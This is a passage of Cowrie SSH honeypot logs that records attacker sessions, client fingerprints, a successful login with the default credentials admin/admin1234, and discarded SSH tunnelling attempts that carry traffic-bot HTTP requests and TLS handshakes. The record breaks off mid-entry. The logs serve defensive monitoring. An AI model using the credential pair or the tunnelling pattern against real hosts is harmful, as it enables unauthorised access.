{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:12:08.984071Z","src_ip":"123.27.168.40","session":"85dfafb36e29","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:12:09.301043Z","src_ip":"123.27.168.40","session":"85dfafb36e29","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:12:10.506948Z","src_ip":"123.27.168.40","session":"85dfafb36e29","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:12:10.869261Z","session":"85dfafb36e29","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:12:11.022325Z","session":"85dfafb36e29","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:12:11.313133Z","src_ip":"123.27.168.40","session":"85dfafb36e29","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1152\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=NHBSe30zcitWS2o1NXdDbw%3D%3DZJqx59xiAndVjWSLbiRC%2B2BjeaRdbtCO4h3ZVBveAT3onOmqrAVYX%2Bqg8wr2krt589yNbuGwCJlMeqvGgT4h4xcxGIw%2FJGtMON8TL91OX49X8bRWLe%2BD%2F2zNZF5gK02a2ggwb%2BOgJS3v59aAYRvP6yhmu8RTH5gl22Up5iuYjQ8fMvHa8NiigRM4JquPjRd%2FBVG81DdgN259lrcpIK03IBC5DH%2BYAFg3NqUl67XDj3bvfChzZ5roug2xZVEZ%2FbQNWfwaqa2VKXbSNcvWQaEi30qyYIg5TA5nUL1%2F2A%2FkYvMYFIbx1Hn0c47Ub5snaNQ6iigdjfDs8TfVhKiczZGuHTW3e2iITKwk6zyjFRlYu9Bb2NWFkBRU6nWWwdwz16BXvQUn%2BRpVT4NYJSLOhjGCNWbqonhr%2BzS4kcPFRwRN8Z6d58v3zyQPBbJQNUSeITpvQgDTp%2B3mEo2CwPd1tVnORd3KCvUjMykFLLhiHJcipnExbH3wILYPHVNN6q6lDvnP5QP3PYLXT6rx85dvr015RtxzN6ve1WTxHicT606ZKLykeP%2BJfLvkHi%2FHVJi4tiUCatE6lH6gD2%2BhYJu8ZtJb2InckgmnVeauxAmyJHcaeMDNWtc5JQ%2BPwjRvYA%2Fz1wksXc1DIVYY4LoNWO8jqOHJi7G6TdpAeHHdNvukDFJIlTVadP7mE7DtifbE2FHhOes2w9tXsjwDCv8NAY4TDYcOAjx0xDJC4ogcTHqzt2jhtFo7zo6rRSANoyNI8HdlVXfTZU5XxHQj6SVRZvQ0u%2FdNt7jeXaqSCablI6ax580QpE3JCMqMTqzTBuPb950HxOlnFIs9083nPj7fLvhDVl7s38yfSn0HhVaUD14D4%2FRk5wzI5SU2fvBpgz583b6jCmsH%2BzuBAlkXEm6qfzSFJjd6ga%2FaIDpCO%2BKLIEb1ob7pgdSuupPOx%2F2zoQ8VBqQymxRj2ueLWNlX7d2WTWyI4%2F39w8Y4y3CQjNZKnftx1ODwKosoUq8Uvb60L85Uj7fux11g4GvQFzQqRlgjm6rwVr8Dld9FvwbDmYsOatS8914JdE4%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1152\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=NHBSe30zcitWS2o1NXdDbw%3D%3DZJqx59xiAndVjWSLbiRC%2B2BjeaRdbtCO4h3ZVBveAT3onOmqrAVYX%2Bqg8wr2krt589yNbuGwCJlMeqvGgT4h4xcxGIw%2FJGtMON8TL91OX49X8bRWLe%2BD%2F2zNZF5gK02a2ggwb%2BOgJS3v59aAYRvP6yhmu8RTH5gl22Up5iuYjQ8fMvHa8NiigRM4JquPjRd%2FBVG81DdgN259lrcpIK03IBC5DH%2BYAFg3NqUl67XDj3bvfChzZ5roug2xZVEZ%2FbQNWfwaqa2VKXbSNcvWQaEi30qyYIg5TA5nUL1%2F2A%2FkYvMYFIbx1Hn0c47Ub5snaNQ6iigdjfDs8TfVhKiczZGuHTW3e2iITKwk6zyjFRlYu9Bb2NWFkBRU6nWWwdwz16BXvQUn%2BRpVT4NYJSLOhjGCNWbqonhr%2BzS4kcPFRwRN8Z6d58v3zyQPBbJQNUSeITpvQgDTp%2B3mEo2CwPd1tVnORd3KCvUjMykFLLhiHJcipnExbH3wILYPHVNN6q6lDvnP5QP3PYLXT6rx85dvr015RtxzN6ve1WTxHicT606ZKLykeP%2BJfLvkHi%2FHVJi4tiUCatE6lH6gD2%2BhYJu8ZtJb2InckgmnVeauxAmyJHcaeMDNWtc5JQ%2BPwjRvYA%2Fz1wksXc1DIVYY4LoNWO8jqOHJi7G6TdpAeHHdNvukDFJIlTVadP7mE7DtifbE2FHhOes2w9tXsjwDCv8NAY4TDYcOAjx0xDJC4ogcTHqzt2jhtFo7zo6rRSANoyNI8HdlVXfTZU5XxHQj6SVRZvQ0u%2FdNt7jeXaqSCablI6ax580QpE3JCMqMTqzTBuPb950HxOlnFIs9083nPj7fLvhDVl7s38yfSn0HhVaUD14D4%2FRk5wzI5SU2fvBpgz583b6jCmsH%2BzuBAlkXEm6qfzSFJjd6ga%2FaIDpCO%2BKLIEb1ob7pgdSuupPOx%2F2zoQ8VBqQymxRj2ueLWNlX7d2WTWyI4%2F39w8Y4y3CQjNZKnftx1ODwKosoUq8Uvb60L85Uj7fux11g4GvQFzQqRlgjm6rwVr8Dld9FvwbDmYsOatS8914JdE4%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:12:11.316540Z","src_ip":"123.27.168.40","session":"85dfafb36e29","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:12:11.557162Z","src_ip":"123.27.168.40","session":"85dfafb36e29","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xf4\\xee\\xb4^9\\xdd\\xf1\\xbbm_/\\xc9T\\xd2\\xceq\\x8e\\x0e4\\xd5\\x18\\x94\\x91\\xe9\\x06\\xaf^\\xae/\\x1b\\xcc\\xf8 \\x02\\xde\\xb9g\\xd9\\xf8\\xe8>/tw|\\x16\\x010\\x18y\\xc9,\\x8f_\\xb7\\xa4M\\x92\\n\\xb5\\xd2n\\xe4*@\\x00 \\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xca\\xca\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 e\\x92R#9\\x91\\xe4?E\\xb9\\xdb%\\'\\xef\\xea?\\x1a\\t\\x98j\\xc7\\xe4]\\xe9L\"\\x7f\\x13\\x93\\xea:r\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xf4\\xee\\xb4^9\\xdd\\xf1\\xbbm_/\\xc9T\\xd2\\xceq\\x8e\\x0e4\\xd5\\x18\\x94\\x91\\xe9\\x06\\xaf^\\xae/\\x1b\\xcc\\xf8 \\x02\\xde\\xb9g\\xd9\\xf8\\xe8>/tw|\\x16\\x010\\x18y\\xc9,\\x8f_\\xb7\\xa4M\\x92\\n\\xb5\\xd2n\\xe4*@\\x00 \\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xca\\xca\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 e\\x92R#9\\x91\\xe4?E\\xb9\\xdb%\\'\\xef\\xea?\\x1a\\t\\x98j\\xc7\\xe4]\\xe9L\"\\x7f\\x13\\x93\\xea:r\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:12:11.561687Z","src_ip":"123.27.168.40","session":"85dfafb36e29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":42394,"dst_ip":"159.203.135.109","dst_port":22,"session":"b37fad68fde4","protocol":"ssh","message":"New connection: 91.92.40.36:42394 (159.203.135.109:22) [session: b37fad68fde4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:12:11.923684Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:12:12.031521Z","src_ip":"91.92.40.36","session":"b37fad68fde4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:12:12.048203Z","session":"85dfafb36e29","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:12:12.297180Z","src_ip":"123.27.168.40","session":"85dfafb36e29","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x1a\\x11\\xf8\\xc9t\\x94\\xaa\\x19\\x06\\xa7j\\x010\\x1f\\x8a\\x90h\\x97}U\\x0e\\xe0\\xc8\\x8dD\\xea\\x17r\\xa93\\x1e\\xa8 \\x9d\\xdc\\xb2\\x17\\xe6U\\xcd\\xed\\x80\\x0f\\xbeS\\x1c\\x1cQ\\xe8\\x05WqB\\x11\\xd9\\x02\\x11\\\\e\\xc9\\xa5\\xd26J`\\x00\"\\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 K\\x1b\\xa0K\\xc6\\x80\\xd0\\xd0\\xa6\\xb2\\x9e\\x89\\x9e\\xfd\\x17Jj\\x0cL\\xc8:M\\xbf\\x96\\xff\\xb3\\x11/\\x84\\xa0nE\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x1a\\x11\\xf8\\xc9t\\x94\\xaa\\x19\\x06\\xa7j\\x010\\x1f\\x8a\\x90h\\x97}U\\x0e\\xe0\\xc8\\x8dD\\xea\\x17r\\xa93\\x1e\\xa8 \\x9d\\xdc\\xb2\\x17\\xe6U\\xcd\\xed\\x80\\x0f\\xbeS\\x1c\\x1cQ\\xe8\\x05WqB\\x11\\xd9\\x02\\x11\\\\e\\xc9\\xa5\\xd26J`\\x00\"\\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 K\\x1b\\xa0K\\xc6\\x80\\xd0\\xd0\\xa6\\xb2\\x9e\\x89\\x9e\\xfd\\x17Jj\\x0cL\\xc8:M\\xbf\\x96\\xff\\xb3\\x11/\\x84\\xa0nE\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:12:12.300874Z","src_ip":"123.27.168.40","session":"85dfafb36e29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:12:12.669033Z","src_ip":"123.27.168.40","session":"85dfafb36e29","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm